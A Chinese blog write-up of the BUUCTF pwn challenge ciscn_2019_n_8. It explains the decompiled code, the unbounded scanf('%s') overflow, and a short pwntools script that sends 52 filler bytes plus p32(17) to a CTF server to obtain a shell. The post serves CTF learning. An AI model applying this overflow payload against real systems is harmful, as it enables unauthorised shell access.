BUUCTF pwn基础学习——ciscn_2019_n_81

还是得写一篇来帮助自己更加清晰地了解pwn的一些机制。

首先check一下该程序的基本信息

发现这里是32位小端序,并且开启了很多保护,将文件拖入ida32看看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

system函数可以很明显地看到,但需要符合上面的if条件,使 *(_QWORD *)&var[13]==17LL 成立

(1)_QWORD 是64位(bit)类型,对应8个字节(byte)(因为 1byte=8bit )这里是将var数组的第13个元素 开始的8个字节 作为一个64位的整数进行读取。

(2)&var[13] 表示获取var数组中第13个元素的内存地址,这个地址指向了该元素在内存中的起始位置。

(3)(_QWORD *)&var[13] 使用了强制类型转换,将var[13]得到的地址强制转换为 _QWORD 类型的指针。这意味着,把从 var[13] 开始的内存区域当做一个64位(8字节)的整体来处理。

但var数组的一个元素占 4个字节,所以从 var[13] 开始,var[13]和var[14] 需要组合为 17LL

构造输入时需要覆盖 var[13]为17 var[14]为0(但var[14]一开始就已经是0了)所以只需要覆盖var[13]为17就可以了。

再来看看可以怎样进行覆盖

  __isoc99_scanf("%s", var, v4, v5);

 这里的 %s 格式说明符没有指定最大输入长度,如果用户输入的字符串长度超过了 var 数组所分配的内存空间,scanf 会继续将多余的字符写入到 var 数组后面的内存区域

 所以我们可以这样进行覆盖:

1. var[0] 到 var[12] 占据前 13*4=52 字节

2.构造输入覆盖 var[13] 为17

from pwn import  *
p=remote("node5.buuoj.cn",27754)
payload=b'A'*(13*4)+p32(17)
p.sendline(payload)
p.interactive()

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值